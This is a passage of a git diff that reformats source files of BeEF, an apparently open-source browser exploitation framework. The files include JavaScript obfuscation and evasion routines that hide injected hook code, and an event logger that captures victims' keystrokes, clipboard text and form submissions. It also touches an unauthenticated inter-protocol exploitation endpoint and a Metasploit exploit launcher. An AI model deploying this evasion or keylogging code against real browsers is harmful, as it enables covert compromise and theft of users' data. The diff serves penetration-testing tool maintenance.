_0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};' end - def execute(input, config) + def execute(input, _config) encoded = Base64.strict_encode64(input) # basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-) - var_name = BeEF::Core::Crypto::random_alphanum_string(3) + var_name = BeEF::Core::Crypto.random_alphanum_string(3) input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();" - print_debug "[OBFUSCATION - Base64] Javascript has been base64 encoded" + print_debug '[OBFUSCATION - Base64] Javascript has been base64 encoded' input end end end end end - diff --git a/extensions/evasion/obfuscation/minify.rb b/extensions/evasion/obfuscation/minify.rb index 5db76085f..0df7948f4 100644 --- a/extensions/evasion/obfuscation/minify.rb +++ b/extensions/evasion/obfuscation/minify.rb @@ -16,10 +16,10 @@ module BeEF def execute(input, config) opts = { - :output => { + output: { comments: :none }, - :compress => { + compress: { # show warnings in debug mode warnings: (config.get('beef.debug') ? true : false), # remove dead code @@ -31,9 +31,9 @@ module BeEF } } output = Uglifier.compile(input, opts) - print_debug "[OBFUSCATION - Minifier] JavaScript has been minified" + print_debug '[OBFUSCATION - Minifier] JavaScript has been minified' output - rescue => e + rescue StandardError => e print_error "[OBFUSCATION - Minifier] JavaScript couldn't be minified: #{e.messsage}" input end @@ -41,4 +41,3 @@ module BeEF end end end - diff --git a/extensions/evasion/obfuscation/scramble.rb b/extensions/evasion/obfuscation/scramble.rb index 4392d1171..dffee7ace 100644 --- a/extensions/evasion/obfuscation/scramble.rb +++ b/extensions/evasion/obfuscation/scramble.rb @@ -18,29 +18,29 @@ module BeEF to_scramble = config.get('beef.extension.evasion.scramble') to_scramble.each do |var, value| - if var == value - # Variables have not been scrambled yet - mod_var = BeEF::Core::Crypto::random_alphanum_string(3) - @output.gsub!(var,mod_var) - config.set("beef.extension.evasion.scramble.#{var}",mod_var) - print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]" - else - # Variables already scrambled, re-use the one already created to maintain consistency - @output.gsub!(var,value) - print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]" - end - @output + if var == value + # Variables have not been scrambled yet + mod_var = BeEF::Core::Crypto.random_alphanum_string(3) + @output.gsub!(var, mod_var) + config.set("beef.extension.evasion.scramble.#{var}", mod_var) + print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]" + else + # Variables already scrambled, re-use the one already created to maintain consistency + @output.gsub!(var, value) + print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]" + end + @output end if config.get('beef.extension.evasion.scramble_cookies') # ideally this should not be static, but it's static in JS code, so fine for nowend - mod_cookie = BeEF::Core::Crypto::random_alphanum_string(5) - if config.get('beef.http.hook_session_name') == "BEEFHOOK" - @output.gsub!("BEEFHOOK",mod_cookie) - config.set('beef.http.hook_session_name',mod_cookie) + mod_cookie = BeEF::Core::Crypto.random_alphanum_string(5) + if config.get('beef.http.hook_session_name') == 'BEEFHOOK' + @output.gsub!('BEEFHOOK', mod_cookie) + config.set('beef.http.hook_session_name', mod_cookie) print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]" else - @output.gsub!("BEEFHOOK",config.get('beef.http.hook_session_name')) + @output.gsub!('BEEFHOOK', config.get('beef.http.hook_session_name')) print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]" end end @@ -51,4 +51,3 @@ module BeEF end end end - diff --git a/extensions/evasion/obfuscation/whitespace.rb b/extensions/evasion/obfuscation/whitespace.rb index 4173d17e8..a2c5befa0 100644 --- a/extensions/evasion/obfuscation/whitespace.rb +++ b/extensions/evasion/obfuscation/whitespace.rb @@ -12,11 +12,10 @@ module BeEF def need_bootstrap? true end - + def get_bootstrap # the decode function is in plain text - called IE-spacer - because trolling is always a good idea - decode_function = -"//Dirty IE6 whitespace bug hack + "//Dirty IE6 whitespace bug hack if (typeof IE_spacer === 'function') {} else { function IE_spacer(css_space) { var spacer = ''; @@ -39,19 +38,18 @@ function IE_spacer(css_space) { }}" end - def execute(input, config) + def execute(input, _config) size = input.length encoded = encode(input) - var_name = BeEF::Core::Crypto::random_alphanum_string(3) + var_name = BeEF::Core::Crypto.random_alphanum_string(3) input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();" print_debug "[OBFUSCATION - WHITESPACE] #{size} bytes of Javascript code has been Whitespaced" input end - def encode(input) - output = input.unpack('B*') - output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ') - output + def encode(input) + output = input.unpack('B*') + output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ') end end end diff --git a/extensions/events/api.rb b/extensions/events/api.rb index e940bb2d4..ca03df912 100644 --- a/extensions/events/api.rb +++ b/extensions/events/api.rb @@ -4,33 +4,28 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Events + module Extension + module Events + module PostLoad + BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load') - module PostLoad + def self.post_load + print_error 'Event Logger extension is not compatible with WebSockets command and control channel' if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable') + end + end - BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load') + module RegisterHttpHandler + # Register API calls + BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') - def self.post_load - if BeEF::Core::Configuration.instance.get("beef.http.websocket.enable") - print_error 'Event Logger extension is not compatible with WebSockets command and control channel' + # + # Mounts the http handlers for the events extension. We use that to retrieve stuff + # like keystroke, mouse clicks and form submission. + # + def self.mount_handler(beef_server) + beef_server.mount('/event', BeEF::Extension::Events::Handler) + end end end end - - module RegisterHttpHandler - - # Register API calls - BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') - - # - # Mounts the http handlers for the events extension. We use that to retrieve stuff - # like keystroke, mouse clicks and form submission. - # - def self.mount_handler(beef_server) - beef_server.mount('/event', BeEF::Extension::Events::Handler) - end - end -end -end end diff --git a/extensions/events/extension.rb b/extensions/events/extension.rb index 0be71db2c..180aebd2a 100644 --- a/extensions/events/extension.rb +++ b/extensions/events/extension.rb @@ -4,19 +4,17 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Events - - extend BeEF::API::Extension - - @short_name = 'events_logger' - - @full_name = 'events logger' - - @description = 'registers mouse clicks, keystrokes, form submissions' - -end -end + module Extension + module Events + extend BeEF::API::Extension + + @short_name = 'events_logger' + + @full_name = 'events logger' + + @description = 'registers mouse clicks, keystrokes, form submissions' + end + end end require 'extensions/events/handler' diff --git a/extensions/events/handler.rb b/extensions/events/handler.rb index 94f7fbaa3..3aafcfbbe 100644 --- a/extensions/events/handler.rb +++ b/extensions/events/handler.rb @@ -4,85 +4,80 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Events - - # - # The http handler that manages the Events. - # - class Handler + module Extension + module Events + # + # The http handler that manages the Events. + # + class Handler + Z = BeEF::Core::Models::HookedBrowser - Z = BeEF::Core::Models::HookedBrowser - - def initialize(data) - @data = data - setup() - end - - # - # Sets up event logging - # - def setup() - - # validates the hook token - beef_hook = @data['beefhook'] || nil - if beef_hook.nil? - print_error "[EVENTS] beef_hook is null" - return - end - - # validates that a hooked browser with the beef_hook token exists in the db - zombie = Z.where(:session => beef_hook).first || nil - if zombie.nil? - print_error "[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database" - return - end - - events = @data['results'] - - # push events to logger - logger = BeEF::Core::Logger.instance - events.each do |value| - logger.register('Event', parse(value), zombie.id) + def initialize(data) + @data = data + setup end - end - def parse(event) - case event['type'] - when 'click' - result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}" - when 'focus' - result = "#{event['time']}s - [Focus] Browser window has regained focus." - when 'copy' - result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\"" - when 'cut' - result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\"" - when 'paste' - result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\"" - when 'blur' - result = "#{event['time']}s - [Blur] Browser window has lost focus." - when 'console' - result = "#{event['time']}s - [Console] #{event['data']}" - when 'keys' - print_debug "+++++++++++++++++ Key mods: #{event['mods']}" - print_debug "EventData: #{event['data']}" - if event['mods'].size > 0 - print_debug "Event has mods" - result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}" - else - result = "#{event['time']}s - [User Typed] #{event['data']}" + # + # Sets up event logging + # + def setup + # validates the hook token + beef_hook = @data['beefhook'] || nil + if beef_hook.nil? + print_error '[EVENTS] beef_hook is null' + return end - when 'submit' - result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}" - else - print_debug '[EVENTS] Event handler has received an unknown event' - result = "#{event['time']}s - Unknown event" + + # validates that a hooked browser with the beef_hook token exists in the db + zombie = Z.where(session: beef_hook).first || nil + if zombie.nil? + print_error '[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database' + return + end + + events = @data['results'] + + # push events to logger + logger = BeEF::Core::Logger.instance + events.each do |value| + logger.register('Event', parse(value), zombie.id) + end + end + + def parse(event) + case event['type'] + when 'click' + result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}" + when 'focus' + result = "#{event['time']}s - [Focus] Browser window has regained focus." + when 'copy' + result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\"" + when 'cut' + result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\"" + when 'paste' + result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\"" + when 'blur' + result = "#{event['time']}s - [Blur] Browser window has lost focus." + when 'console' + result = "#{event['time']}s - [Console] #{event['data']}" + when 'keys' + print_debug "+++++++++++++++++ Key mods: #{event['mods']}" + print_debug "EventData: #{event['data']}" + if event['mods'].size.positive? + print_debug 'Event has mods' + result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}" + else + result = "#{event['time']}s - [User Typed] #{event['data']}" + end + when 'submit' + result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}" + else + print_debug '[EVENTS] Event handler has received an unknown event' + result = "#{event['time']}s - Unknown event" + end + result + end end - result end - end - -end -end end diff --git a/extensions/ipec/extension.rb b/extensions/ipec/extension.rb index 245ef2a22..bfb727865 100644 --- a/extensions/ipec/extension.rb +++ b/extensions/ipec/extension.rb @@ -4,47 +4,38 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension + module Extension + # TODO: remove it from here: + # Handlers + # require 'extensions/ipec/fingerprinter' + # require 'extensions/ipec/launcher' + require 'extensions/ipec/junk_calculator' - #todo remove it from here: - # Handlers - #require 'extensions/ipec/fingerprinter' - #require 'extensions/ipec/launcher' - require 'extensions/ipec/junk_calculator' + module Ipec + extend BeEF::API::Extension - module Ipec - extend BeEF::API::Extension + @short_name = 'Ipec' + @full_name = 'Inter-Protocol Exploitation' + @description = "Use the Inter-Protocol Exploitation technique to send shellcode to daemons implementing 'tolerant' protocols." - @short_name = 'Ipec' - @full_name = 'Inter-Protocol Exploitation' - @description = "Use the Inter-Protocol Exploitation technique to send shellcode to daemons implementing 'tolerant' protocols." - - module RegisterIpecRestHandler - def self.mount_handler(server) - server.mount('/api/ipec', BeEF::Extension::Ipec::IpecRest.new) + module RegisterIpecRestHandler + def self.mount_handler(server) + server.mount('/api/ipec', BeEF::Extension::Ipec::IpecRest.new) + end end + + BeEF::API::Registrar.instance.register(BeEF::Extension::Ipec::RegisterIpecRestHandler, BeEF::API::Server, 'mount_handler') + + # TODO: remove it from here, and make it dynamic. + BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator('imapeudora1') end - - BeEF::API::Registrar.instance.register(BeEF::Extension::Ipec::RegisterIpecRestHandler, BeEF::API::Server, 'mount_handler') - - #todo remove it from here, and make it dynamic. - BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator("imapeudora1") end end -end # Models # todo: to be used when we'll have more IPEC exploits -#require 'extensions/ipec/models/ipec_exploits' -#require 'extensions/ipec/models/ipec_exploits_run' +# require 'extensions/ipec/models/ipec_exploits' +# require 'extensions/ipec/models/ipec_exploits_run' # RESTful api endpoints require 'extensions/ipec/rest/ipec' - - - - - - - - diff --git a/extensions/ipec/junk_calculator.rb b/extensions/ipec/junk_calculator.rb index 6b2f2a0b3..b7a010423 100644 --- a/extensions/ipec/junk_calculator.rb +++ b/extensions/ipec/junk_calculator.rb @@ -10,19 +10,18 @@ module BeEF include Singleton def initialize - @binded_sockets = {} - @host = BeEF::Core::Configuration.instance.get('beef.http.host') + @binded_sockets = {} + @host = BeEF::Core::Configuration.instance.get('beef.http.host') end def bind_junk_calculator(name) port = 2000 - #todo add binded ports to @binded_sockets. Increase +1 port number if already binded - #if @binded_sockets[port] != nil - #else - #end + # TODO: add binded ports to @binded_sockets. Increase +1 port number if already binded + # if @binded_sockets[port] != nil + # else + # end BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket(name, @host, port) @binded_sockets[name] = port - end end end diff --git a/extensions/ipec/models/ipec_exploits.rb b/extensions/ipec/models/ipec_exploits.rb index 4d41c06cb..9a1f5438c 100644 --- a/extensions/ipec/models/ipec_exploits.rb +++ b/extensions/ipec/models/ipec_exploits.rb @@ -7,11 +7,8 @@ module BeEF module Core module Models class IpecExploits < BeEF::Core::Model - has_many :ipec_exploits_run - end - end end end diff --git a/extensions/ipec/models/ipec_exploits_run.rb b/extensions/ipec/models/ipec_exploits_run.rb index 1ed9b9953..351041691 100644 --- a/extensions/ipec/models/ipec_exploits_run.rb +++ b/extensions/ipec/models/ipec_exploits_run.rb @@ -7,11 +7,8 @@ module BeEF module Core module Models class IpecExploitsRun < BeEF::Core::Model - belongs_to :ipec_exploit - end - end end end diff --git a/extensions/ipec/rest/ipec.rb b/extensions/ipec/rest/ipec.rb index 7ceb9d380..a0a99253c 100644 --- a/extensions/ipec/rest/ipec.rb +++ b/extensions/ipec/rest/ipec.rb @@ -8,13 +8,12 @@ module BeEF module Extension module Ipec class IpecRest < BeEF::Core::Router::Router - before do # NOTE: the method exposed by this class are NOT-AUTHENTICATED. # They need to be called remotely from a hooked browser. - #error 401 unless params[:token] == config.get('beef.api_token') - #halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + # error 401 unless params[:token] == config.get('beef.api_token') + # halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -26,53 +25,45 @@ module BeEF # See modules/exploits/beefbind/beef_bind_staged_deploy/command.js for more info. # todo: the core of this method should be moved to ../junk_calculator.rb get '/junk/:name' do - socket_name = params[:name] - halt 401 if not BeEF::Filters.alphanums_only?(socket_name) - socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.get_socket_data(socket_name) - halt 404 if socket_data == nil + socket_name = params[:name] + halt 401 unless BeEF::Filters.alphanums_only?(socket_name) + socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.get_socket_data(socket_name) + halt 404 if socket_data.nil? - if socket_data.include?("\r\n\r\n") - result = Hash.new + if socket_data.include?("\r\n\r\n") + result = {} - headers = socket_data.split("\r\n\r\n").first - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket(socket_name) - print_info "[IPEC] Cross-domain XmlHttpRequest headers size - received from bind socket [#{socket_name}]: #{headers.size + 4} bytes." - # CRLF -> 4 bytes - result['size'] = headers.size + 4 + headers = socket_data.split("\r\n\r\n").first + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket(socket_name) + print_info "[IPEC] Cross-domain XmlHttpRequest headers size - received from bind socket [#{socket_name}]: #{headers.size + 4} bytes." + # CRLF -> 4 bytes + result['size'] = headers.size + 4 - headers.split("\r\n").each do |line| - if line.include?("Host") - result['host'] = line.size + 2 - end - if line.include?("Content-Type") - result['contenttype'] = line.size + 2 - end - if line.include?("Referer") - result['referer'] = line.size + 2 - end - end - result.to_json - else - print_error "[IPEC] Looks like there is no CRLF in the data received!" - halt 404 - end + headers.split("\r\n").each do |line| + result['host'] = line.size + 2 if line.include?('Host') + result['contenttype'] = line.size + 2 if line.include?('Content-Type') + result['referer'] = line.size + 2 if line.include?('Referer') + end + result.to_json + else + print_error '[IPEC] Looks like there is no CRLF in the data received!' + halt 404 + end end - # The original Firefox Extension sources are in extensions/ipec/files/LinkTargetFinder dir. # If you want to modify the pref.js file, do the following to re-pack the extension: # $cd firefox_extension_directory # $zip -r ../result-name.xpi * get '/ff_extension' do - response['Content-Type'] = "application/x-xpinstall" - ff_extension = "#{File.expand_path('../../../ipec/files', __FILE__)}/LinkTargetFinder.xpi" + response['Content-Type'] = 'application/x-xpinstall' + ff_extension = "#{File.expand_path('../../ipec/files', __dir__)}/LinkTargetFinder.xpi" print_info "[IPEC] Serving Firefox Extension: #{ff_extension}" - send_file "#{ff_extension}", - :type => 'application/x-xpinstall', - :disposition => 'inline' + send_file ff_extension.to_s, + type: 'application/x-xpinstall', + disposition: 'inline' end - end end end -end \ No newline at end of file +end diff --git a/extensions/metasploit/api.rb b/extensions/metasploit/api.rb index 8dcbf4905..ac8f718cb 100644 --- a/extensions/metasploit/api.rb +++ b/extensions/metasploit/api.rb @@ -55,7 +55,7 @@ module BeEF m_details = msf.call('module.info', 'exploit', m) next unless m_details - key = 'msf_' + m.split('/').last + key = "msf_#{m.split('/').last}" # system currently doesn't support multilevel categories # categories = ['Metasploit'] # m.split('/')[0...-1].each{|c| @@ -75,6 +75,7 @@ module BeEF elsif m_details['description'] =~ /Opera/i target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] } end + # TODO: # - Add support for detection of target OS # - Add support for detection of target services (e.g. java, flash, silverlight, ...etc) @@ -132,9 +133,7 @@ module BeEF } msf_payload_options = msf.call('module.compatible_payloads', msf_key) - unless msf_payload_options - print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" - end + print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" unless msf_payload_options options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options) options @@ -170,7 +169,7 @@ module BeEF uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}" bopts << { sploit_url: uri } - c = BeEF::Core::Models::Command.new( + BeEF::Core::Models::Command.new( data: bopts.to_json, hooked_browser_id: hb.id, command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), diff --git a/extensions/metasploit/rest/msf.rb b/extensions/metasploit/rest/msf.rb index 1acb6f00a..c9ea65025 100644 --- a/extensions/metasploit/rest/msf.rb +++ b/extensions/metasploit/rest/msf.rb @@ -113,7 +113,7 @@ module BeEF # Raised when invalid JSON input is passed to an /api/msf handler. class InvalidJsonError < StandardError - DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler' + DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'.freeze def initialize(message = nil) super(message || DEFAULT_MESSAGE) @@ -122,7 +122,7 @@ module BeEF # Raised when an invalid named parameter is passed to an /api/msf handler. class InvalidParamError < StandardError - DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler' + DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'.freeze def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/msf handler' diff --git a/extensions/metasploit/rpcclient.rb b/extensions/metasploit/rpcclient.rb index fdf128770..5c5e3f0ed 100644 --- a/extensions/metasploit/rpcclient.rb +++ b/extensions/metasploit/rpcclient.rb @@ -102,7 +102,7 @@ module BeEF sleep 1 code = http.head(path, headers).code.to_i print_debug "[Metasploit] Success - HTTP response: #{code}" - rescue StandardError => e + rescue StandardError retry if (retries -= 1).positive? end @@ -185,6 +185,9 @@ module BeEF get_lock res = call('module.info', 'exploit', name) res || {} + rescue StandardError => e + print_error "Call module.info for module #{name} failed: #{e.message}" + {} ensure release_lock end @@ -193,6 +196,9 @@ module BeEF get_lock res = call('module.compatible_payloads', name) res || {} + rescue StandardError => e + print_error "Call module.compatible_payloads for module #{name} failed: #{e.message}" + {} ensure release_lock end @@ -201,6 +207,9 @@ module BeEF get_lock res = call('module.options', 'exploit', name) res || {} + rescue StandardError => e + print_error "Call module.options for module #{name} failed: #{e.message}" + {} ensure release_lock end @@ -211,6 +220,9 @@ module BeEF return {} unless res || res['modules'] res['modules'] + rescue StandardError => e + print_error "Call module.payloads failed: #{e.message}" + {} ensure release_lock end @@ -222,6 +234,7 @@ module BeEF res rescue StandardError => e + print_error "Call module.options for payload #{name} failed: #{e.message}" {} ensure release_lock @@ -234,7 +247,7 @@ module BeEF res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}" res rescue StandardError => e - print_error "Exploit failed for #{exploit} \n" + print_error "Exploit failed for #{exploit}\n#{e.message}" false ensure release_lock @@ -248,7 +261,7 @@ module BeEF get_lock call('module.execute', 'auxiliary', 'server/browser_autopwn', opts) rescue StandardError => e - print_error 'Failed to launch autopwn' + print_error "Failed to launch browser_autopwn: #{e.message}" false ensure release_lock diff --git a/extensions/network/models/network_host.rb b/extensions/network/models/network_host.rb index 9710002a0..9a029c7d8 100644 --- a/extensions/network/models/network_host.rb +++ b/extensions/network/models/network_host.rb @@ -10,7 +10,7 @@ module BeEF # Table stores each host identified on the zombie browser's network(s) # class NetworkHost < BeEF::Core::Model - belongs_to :hooked_browser + belongs_to :hooked_browser # # Stores a network host in the data store diff --git a/extensions/network/models/network_service.rb b/extensions/network/models/network_service.rb index 03bcddd6e..e3d67c08c 100644 --- a/extensions/network/models/network_service.rb +++ b/extensions/network/models/network_service.rb @@ -10,8 +10,7 @@ module BeEF # Table stores each open port identified on the zombie browser's network(s) # class NetworkService < BeEF::Core::Model - belongs_to :hooked_browser - + belongs_to :hooked_browser # # Stores a network service in the data store @@ -53,7 +52,7 @@ module BeEF port: service[:port], ntype: service[:ntype] ).length - return if total > 0 + return if total.positive? # store the returned network service details network_service = BeEF::Core::Models::NetworkService.new( diff --git a/extensions/network/rest/network.rb b/extensions/network/rest/network.rb index 34b228543..a8f1c3c19 100644 --- a/extensions/network/rest/network.rb +++ b/extensions/network/rest/network.rb @@ -27,152 +27,140 @@ module BeEF # Returns the entire list of network hosts for all zombies get '/hosts' do - begin - hosts = @nh.all.distinct.order(:id) - count = hosts.length + hosts = @nh.all.distinct.order(:id) + count = hosts.length - result = {} - result[:count] = count - result[:hosts] = [] - hosts.each do |host| - result[:hosts] << host.to_h - end - - result.to_json - rescue StandardError => e - print_error "Internal error while retrieving host list (#{e.message})" - halt 500 + result = {} + result[:count] = count + result[:hosts] = [] + hosts.each do |host| + result[:hosts] << host.to_h end + + result.to_json + rescue StandardError => e + print_error "Internal error while retrieving host list (#{e.message})" + halt 500 end # Returns the entire list of network services for all zombies get '/services' do - begin - services = @ns.all.distinct.order(:id) - count = services.length + services = @ns.all.distinct.order(:id) + count = services.length - result = {} - result[:count] = count - result[:services] = [] - services.each do |service| - result[:services] << service.to_h - end - - result.to_json - rescue StandardError => e - print_error "Internal error while retrieving service list (#{e.message})" - halt 500 + result = {} + result[:count] = count + result[:services] = [] + services.each do |service| + result[:services] << service.to_h end + + result.to_json + rescue StandardError => e + print_error "Internal error while retrieving service list (#{e.message})" + halt 500 end # Returns all hosts given a specific hooked browser id get '/hosts/:id' do - begin - id = params[:id] + id = params[:id] - hooked_browser = @hb.where(session: id).distinct - hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser) - count = hosts.length + hooked_browser = @hb.where(session: id).distinct + hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser) + count = hosts.length - result = {} - result[:count] = count - result[:hosts] = [] - hosts.each do |host| - result[:hosts] << host.to_h - end - - result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})" - halt 500 + result = {} + result[:count] = count + result[:hosts] = [] + hosts.each do |host| + result[:hosts] << host.to_h end + + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})" + halt 500 end # Returns all services given a specific hooked browser id get '/services/:id' do - begin - id = params[:id] + id = params[:id] - services = @ns.where(hooked_browser_id: id).distinct.order(:id) - count = services.length + services = @ns.where(hooked_browser_id: id).distinct.order(:id) + count = services.length - result = {} - result[:count] = count - result[:services] = [] - services.each do |service| - result[:services] << service.to_h - end - - result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})" - halt 500 + result = {} + result[:count] = count + result[:services] = [] + services.each do |service| + result[:services] << service.to_h end + + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})" + halt 500 end # Returns a specific host given its id get '/host/:id' do - begin - id = params[:id] + id = params[:id] - host = @nh.find(id) - raise InvalidParamError, 'id' if host.nil? - halt 404 if host.nil? + host = @nh.find(id) + raise InvalidParamError, 'id' if host.nil? - host.to_h.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving host with id #{id} (#{e.message})" - halt 500 - end + halt 404 if host.nil? + + host.to_h.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving host with id #{id} (#{e.message})" + halt 500 end # Deletes a specific host given its id delete '/host/:id' do - begin - id = params[:id] - raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id) + id = params[:id] + raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id) - host = @nh.find(id) - halt 404 if host.nil? + host = @nh.find(id) + halt 404 if host.nil? - result = {} - result['success'] = @nh.delete(id) - result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while removing network host with id #{id} (#{e.message})" - halt 500 - end + result = {} + result['success'] = @nh.delete(id) + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while removing network host with id #{id} (#{e.message})" + halt 500 end # Returns a specific service given its id get '/service/:id' do - begin - id = params[:id] + id = params[:id] - service = @ns.find(id) - raise InvalidParamError, 'id' if service.nil? - halt 404 if service.empty? + service = @ns.find(id) + raise InvalidParamError, 'id' if service.nil? - service.to_h.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving service with id #{id} (#{e.message})" - halt 500 - end + halt 404 if service.empty? + + service.to_h.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving service with id #{id} (#{e.message})" + halt 500 end # Raised when invalid JSON input is passed to an /api/network handler. diff --git a/extensions/notifications/channels/email.rb b/extensions/notifications/channels/email.rb index 7eaa3d844..6f596124a 100644 --- a/extensions/notifications/channels/email.rb +++ b/extensions/notifications/channels/email.rb @@ -8,43 +8,37 @@ require 